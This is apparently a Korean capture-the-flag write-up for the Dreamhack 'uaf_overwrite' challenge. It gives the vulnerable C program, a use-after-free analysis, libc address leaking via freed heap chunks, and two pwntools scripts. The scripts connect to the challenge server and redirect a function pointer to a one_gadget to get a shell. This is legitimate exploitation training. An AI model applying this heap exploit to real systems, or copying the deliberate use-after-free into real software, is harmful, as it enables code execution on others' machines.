uaf_overwrite.c
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
human
구조체와 robot
구조체의 크기는 똑같다. 따라서 use after free
를 예상할 수 있다.human_func
human
구조체를 malloc한다.weight
와 age
를 입력받아 구조체의 멤버 변수에 대입하고, free한다.robot_func
robot
구조체를 malloc한다.weight
를 입력받아 구조체의 멤버 변수에 대입한다.robot->fptr
이 존재하면 해당 함수를 실행한다.robot
을 free한다.custom_func
custom[idx]
를 free한다.checksec
결과exploit
설계libc_base
를 구한다.one_gadget
을 알아내서, Human
구조체를 할당할 때 age에 그 값을 입력한다.robot_func
으로 one_gadget
을 실행한다.libc_base
구하기custom(0x500, b'AAAA', -1) # chunk[0] allocate
custom(0x500, b'AAAA', -1) # chunk[1] allocate
custom(0x500, b'AAAA 0', 0) # chunk[0] free
custom(0x500, b'B', -1) # chunk[3] allocate. actually past chunk[0]
custom
에서 chunk[0]
을 free하면서, fd
와 bk
에 library의 특정 주소가 들어가게 되었다.custom
에서 다시 할당하게 되면서 data
구간에 그 값이 입력값 'B\n'와 같이 남아있게 된다.gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000555555400000 0x0000555555402000 0x0000000000000000 r-x /mnt/c/Users/user/Study/System-Hacking (Dreamhack)/War game (Pwnable)/level-2/uaf_overwrite/uaf_overwrite
0x0000555555601000 0x0000555555602000 0x0000000000001000 r-- /mnt/c/Users/user/Study/System-Hacking (Dreamhack)/War game (Pwnable)/level-2/uaf_overwrite/uaf_overwrite
0x0000555555602000 0x0000555555603000 0x0000000000002000 rw- /mnt/c/Users/user/Study/System-Hacking (Dreamhack)/War game (Pwnable)/level-2/uaf_overwrite/uaf_overwrite
0x0000555555603000 0x0000555555624000 0x0000000000000000 rw- [heap]
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd3000 0x0000000000000000 rw-
0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fea000 0x00007ffff7fec000 0x0000000000000000 rw-
0x00007ffff7ff6000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
vmmap
으로 확인해본 결과 0x00007ffff7dc0a42
과 0x00007ffff7dcdca0
는 라이브러리 영역에 있다.gef➤ x/i 0x00007ffff7dcdca0
0x7ffff7dcdca0 <main_arena+96>: add BYTE PTR [rcx+0x60],0x55
libc_base
와 offset이 같을 것이므로 offset을 구해야 한다. fd
와 bk
의 뒤 4자리수가 다른 이유는 우리가 data로 "B\n"
을 입력했기 때문이다.0x3ebca0
에서 42
가 덮여서 0x3ebc42
가 offset이 된다.# calculate libc_base
custom(0x500, b'AAAA', -1) # chunk[0] allocate
custom(0x500, b'AAAA', -1) # chunk[1] allocate
custom(0x500, b'AAAA', 0) # chunk[0] free
custom(0x500, b'B', -1) # chunk[3] allocate. actually past chunk[0]
p.recvuntil(b'Data:')
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = lb + og[2]
libc_base
를 구하고, 미리 구한 one_gadget
의 오프셋을 더해놓자.one_gadget
실행하기human(1, one_gadget)
robot(1)
human->age
에 one_gadget
을 심어놓는다.free
후 robot
함수를 실행해 one_gadget
을 실행한다.explpoit.py
exploit
from pwn import *
p = remote('host3.dreamhack.games', 17307)
def human(weight, age):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b': ', str(weight).encode())
p.sendlineafter(b': ', str(age).encode())
def robot(weight):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b': ', str(weight).encode())
def custom(size, data, idx):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
p.sendlineafter(b': ', str(idx).encode())
# calculate libc_base
custom(0x500, b'AAAA', -1) # chunk[0] allocate
custom(0x500, b'AAAA', -1) # chunk[1] allocate
custom(0x500, b'AAAA', 0) # chunk[0] free
custom(0x500, b'B', -1) # chunk[3] allocate. actually past chunk[0]
p.recvuntil(b'Data:')
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = lb + og[2]
human(1, one_gadget)
robot(1)
p.interactive()
그런데 계속 libc_base
를 recv하지 못하고 기다리다가 끝이 났다.
알고 보니 내가 직접 만든 custom
함수를 실행하고, data
를 받을 수가 없었다. 진행 도중에 data를 받고 free할 idx
를 보내야 했다.
따라서 코드를 이에 맞게 다시 작성했다.
from pwn import *
p = remote('host3.dreamhack.games', 17307)
# context.log_level = 'debug'
def slog(name, sym):
success(': '.join([name, hex(sym)]))
# custom(1280, "AAAA", -1);
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Size: ', b'1280')
p.sendafter(b'Data: ', b'AAAA')
p.sendlineafter(b'idx: ', b'-1')
# custom(1280, "AAAA", -1)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Size: ', b'1280')
p.sendafter(b'Data: ', b'AAAA')
p.sendlineafter(b'idx: ', b'-1')
# custom(1280, "AAAA", 0)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Size: ', b'1280')
p.sendafter(b'Data: ', b'AAAA')
p.sendlineafter(b'idx: ', b'0')
# custom(1280, "B", -1)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Size: ', b'1280')
p.sendafter(b'Data: ', b'B')
p.recvuntil(b'Data: ')
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
p.sendlineafter(b'idx: ', b'-1')
slog('libc_base', lb)
og = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = lb + og[2]
# human(weight, age);
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', b'1')
p.sendlineafter(b': ', str(one_gadget))
# robot(1)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', b'1')
p.interactive()